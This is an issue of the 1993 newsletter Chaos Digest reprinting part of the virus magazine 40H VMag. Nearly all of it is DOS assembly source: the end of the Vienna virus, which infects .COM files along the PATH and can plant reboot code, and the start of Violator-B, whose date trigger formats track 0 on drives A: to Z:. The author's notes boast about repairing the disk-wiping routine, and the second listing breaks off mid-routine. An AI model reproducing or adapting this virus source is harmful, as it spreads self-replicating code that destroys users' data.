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Chaos Digest Volume 01 Numero 31
Chaos Digest Mercredi 19 Mai 1993 Volume 1 : Numero 30
ISSN 1244-4901
Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere
TABLE DES MATIERES, #1.30 (19 Mai 1993)
File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint)
Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
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The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.
Issues of ChaosD can also be found on some French BBS. Back issues of
ChaosD can be found on the Internet as part of the Computer underground
Digest archives. They're accessible using anonymous FTP from:
* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
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* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
CHAOS DIGEST is an open forum dedicated to sharing French information among
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----------------------------------------------------------------------
Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint)
[suite du listing des virus Vienna et Violator]
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;*******************************************************************
; Get current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
JNZ seven_in_eight
;*******************************************************************
; The special "one in eight" infection. If the above line were in
; its original form, this code would be run 1/8 of the time, and
; rather than appending a copy of this virus to the .COM file, the
; file would get 5 bytes of code that reboot the system when the
; .COM file is run.
;*******************************************************************
MOV AH,40H ;Write to file
MOV CX,5 ;Five bytes
MOV DX,SI
ADD DX,reboot ;Offset of reboot code in data area
INT 21H
JMP SHORT fix_time_stamp
NOP
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
seven_in_eight:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of
pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of
pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;*************************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first 3 bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
;Use this with (SI + reboot)
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;****************************************************************************
;The virus needs to know a few details about its own size and the size of its
;code portion. Let the assembler figure out these sizes automatically.
;****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;****************************************************************************
;Because this code is being appended to the end of an executable file, the
;exact address of its variables cannot be known. All are accessed as offsets
;from SI, which is represented as vir_dat in the below declarations.
;****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE
Now here's the source for Violator-B
------------------------------------------------------------------------------
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;(Aug/09/90)
;
;Development Notes:
;
;I encountered several errors in the original Violator code which I
;corrected in this version. Mainly, the INT 26 routine to fuck the
;disk. It seems that the routine would crash right after the INT 26
;was executed and the whole program would die. I have since fixed
;this problem in this version with an INT 13, AH 05 (Format Track)
;command. This works better than the subsequent INT 26.
;
;*****************************************************************************
;
; Written by - The High Evolutionary -
; RABID Head Programmer
;
; Revised by: oOnslaught
; No affiliation with rabId
;
; Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
VCODE: JMP virus
NOP
NOP
NOP ;15 NOP's to place JMP Header
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
MOV AH,30H
INT 21H
CMP AL,0 ;Quit it it's DOS 1.0
JNZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP year_check
year_check:
MOV AH,2AH ;Get date info
INT 21H ;Call DOS
CMP CX,1990 ;Check to see if the year is 1990
JGE month_check ;If greater or equal, check month
JMP find_path ;If not, go on with infection
month_check:
MOV AH,2AH ;Get date info
INT 21h ;Call DOS
CMP DH,10 ;Check to see if it is September
JGE day_check ;If greater or equal, check day
JMP find_path ;if not, go on with infection
day_check:
MOV AH,2Ah ;Get date info
INT 21H ;Call DOS
CMP DL,31 ;Check to see if it is the 4th
JGE multiplex ;If yes, then nuke drives A:-Z:
JMP find_path ;If not, then go on with infection
multiplex:
MOV AL,cntr ;Counter is the drive to kill
CALL alter ;Go and kill the drive
;25 is drive Z:
CMP cntr,25 ;Is (cntr) 25 ?
JE find_path ;Go on with infection
INC cntr ;Add one to (cntr)
LOOP multiplex ;Loop back up to kill next drive
alter:
MOV AH,05 ;Format Track
MOV CH,0 ;Format track 0
MOV DH,0 ;Head 0
MOV DL,cntr ;Format for drive in (cntr)
INT 13h ;Call RWTS
RET ;Return up for next drive
find_path:
POP SI
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
;The JNZ line specifies that if there is no PATH present, then we will go
;along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
------------------------------
End of Chaos Digest #1.31
************************************
